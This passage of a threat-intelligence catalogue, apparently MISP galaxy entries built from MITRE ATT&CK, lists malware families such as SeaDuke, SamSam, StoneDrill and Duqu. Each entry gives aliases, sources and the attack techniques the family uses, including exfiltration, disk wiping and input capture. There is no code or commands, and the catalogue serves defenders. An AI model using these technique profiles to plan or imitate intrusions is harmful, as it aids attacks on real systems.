uses: misp-galaxy:mitre-attack-pattern="Premium SMS Toll Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/ |
NetTraveler - S0033
[NetTraveler](https://attack.mitre.org/software/S0033) is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)
The tag is: misp-galaxy:mitre-malware="NetTraveler - S0033"
NetTraveler - S0033 is also known as:
-
NetTraveler
NetTraveler - S0033 has relationships with:
-
similar: misp-galaxy:tool="NetTraveler" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="NetTraveler" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf |
BUBBLEWRAP - S0043
[BUBBLEWRAP](https://attack.mitre.org/software/S0043) is a full-featured, second-stage backdoor used by the [admin@338](https://attack.mitre.org/groups/G0018) group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)
The tag is: misp-galaxy:mitre-malware="BUBBLEWRAP - S0043"
BUBBLEWRAP - S0043 is also known as:
-
BUBBLEWRAP
-
Backdoor.APT.FakeWinHTTPHelper
BUBBLEWRAP - S0043 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html |
NETEAGLE - S0034
[NETEAGLE](https://attack.mitre.org/software/S0034) is a backdoor developed by [APT30](https://attack.mitre.org/groups/G0013) with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.” (Citation: FireEye APT30)
The tag is: misp-galaxy:mitre-malware="NETEAGLE - S0034"
NETEAGLE - S0034 is also known as:
-
NETEAGLE
NETEAGLE - S0034 has relationships with:
-
similar: misp-galaxy:malpedia="NETEAGLE" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
Octopus - S0340
[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan.(Citation: Securelist Octopus Oct 2018)
The tag is: misp-galaxy:mitre-malware="Octopus - S0340"
Octopus - S0340 is also known as:
-
Octopus
Octopus - S0340 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securelist.com/octopus-infested-seas-of-central-asia/88200/ |
Riltok - S0403
[Riltok](https://attack.mitre.org/software/S0403) is banking malware that uses phishing popups to collect user credentials.(Citation: Kaspersky Riltok June 2019)
The tag is: misp-galaxy:mitre-malware="Riltok - S0403"
Riltok - S0403 is also known as:
-
Riltok
Riltok - S0403 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
Links |
SPACESHIP - S0035
[SPACESHIP](https://attack.mitre.org/software/S0035) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)
The tag is: misp-galaxy:mitre-malware="SPACESHIP - S0035"
SPACESHIP - S0035 is also known as:
-
SPACESHIP
SPACESHIP - S0035 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
Links |
SeaDuke - S0053
[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)
The tag is: misp-galaxy:mitre-malware="SeaDuke - S0053"
SeaDuke - S0053 is also known as:
-
SeaDuke
-
SeaDaddy
-
SeaDesk
SeaDuke - S0053 has relationships with:
-
similar: misp-galaxy:malpedia="SeaDaddy" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf |
zwShell - S0350
[zwShell](https://attack.mitre.org/software/S0350) is a remote access tool (RAT) written in Delphi that has been used by [Night Dragon](https://attack.mitre.org/groups/G0014).(Citation: McAfee Night Dragon)
The tag is: misp-galaxy:mitre-malware="zwShell - S0350"
zwShell - S0350 is also known as:
-
zwShell
zwShell - S0350 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
Links |
BONDUPDATER - S0360
[BONDUPDATER](https://attack.mitre.org/software/S0360) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)
The tag is: misp-galaxy:mitre-malware="BONDUPDATER - S0360"
BONDUPDATER - S0360 is also known as:
-
BONDUPDATER
BONDUPDATER - S0360 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html |
FLASHFLOOD - S0036
[FLASHFLOOD](https://attack.mitre.org/software/S0036) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)
The tag is: misp-galaxy:mitre-malware="FLASHFLOOD - S0036"
FLASHFLOOD - S0036 is also known as:
-
FLASHFLOOD
FLASHFLOOD - S0036 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
SHOTPUT - S0063
[SHOTPUT](https://attack.mitre.org/software/S0063) is a custom backdoor used by [APT3](https://attack.mitre.org/groups/G0022). (Citation: FireEye Clandestine Wolf)
The tag is: misp-galaxy:mitre-malware="SHOTPUT - S0063"
SHOTPUT - S0063 is also known as:
-
SHOTPUT
-
Backdoor.APT.CookieCutter
-
Pirpi
SHOTPUT - S0063 has relationships with:
-
similar: misp-galaxy:tool="Pirpi" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html |
HAMMERTOSS - S0037
[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)
The tag is: misp-galaxy:mitre-malware="HAMMERTOSS - S0037"
HAMMERTOSS - S0037 is also known as:
-
HAMMERTOSS
-
HammerDuke
-
NetDuke
HAMMERTOSS - S0037 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1143" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf |
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf |
ASPXSpy - S0073
[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. It has been modified by [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors to create the ASPXTool version. (Citation: Dell TG-3390)
The tag is: misp-galaxy:mitre-malware="ASPXSpy - S0073"
ASPXSpy - S0073 is also known as:
-
ASPXSpy
-
ASPXTool
ASPXSpy - S0073 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage |
SamSam - S0370
[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)
The tag is: misp-galaxy:mitre-malware="SamSam - S0370"
SamSam - S0370 is also known as:
-
SamSam
-
Samas
SamSam - S0370 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
StoneDrill - S0380
[StoneDrill](https://attack.mitre.org/software/S0380) is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with [APT33](https://attack.mitre.org/groups/G0064).(Citation: FireEye APT33 Sept 2017)(Citation: Kaspersky StoneDrill 2017)
The tag is: misp-galaxy:mitre-malware="StoneDrill - S0380"
StoneDrill - S0380 is also known as:
-
StoneDrill
-
DROPSHOT
StoneDrill - S0380 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
Links |
Duqu - S0038
[Duqu](https://attack.mitre.org/software/S0038) is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)
The tag is: misp-galaxy:mitre-malware="Duqu - S0038"
Duqu - S0038 is also known as:
-
Duqu
Duqu - S0038 has relationships with:
-
similar: misp-galaxy:tool="Duqu" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
Links |
Misdat - S0083
[Misdat](https://attack.mitre.org/software/S0083) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2010 to 2011. (Citation: Cylance Dust Storm)
The tag is: misp-galaxy:mitre-malware="Misdat - S0083"
Misdat - S0083 is also known as:
-
Misdat
Misdat - S0083 has relationships with:
-
similar: misp-galaxy:malpedia="Misdat" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf |
Adups - S0309
[Adups](https://attack.mitre.org/software/S0309) is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server. (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor)
The tag is: misp-galaxy:mitre-malware="Adups - S0309"
Adups - S0309 is also known as:
-
Adups
Adups - S0309 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.nytimes.com/2016/11/16/us/politics/china-phones-software-security.html |
http://www.bankinfosecurity.com/did-chinese-spyware-linger-in-us-phones-a-9534 |
SQLRat - S0390
[SQLRat](https://attack.mitre.org/software/S0390) is malware that executes SQL scripts to avoid leaving traditional host artifacts. [FIN7](https://attack.mitre.org/groups/G0046) has been observed using it.(Citation: Flashpoint FIN 7 March 2019)
The tag is: misp-galaxy:mitre-malware="SQLRat - S0390"
SQLRat - S0390 is also known as:
-
SQLRat
SQLRat - S0390 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
JHUHUGIT - S0044
[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)
The tag is: misp-galaxy:mitre-malware="JHUHUGIT - S0044"
JHUHUGIT - S0044 is also known as:
-
JHUHUGIT
-
Trojan.Sofacy
-
Seduploader
-
JKEYSKW
-
Sednit
-
GAMEFISH
-
SofacyCarberp
JHUHUGIT - S0044 has relationships with:
-
similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"
-
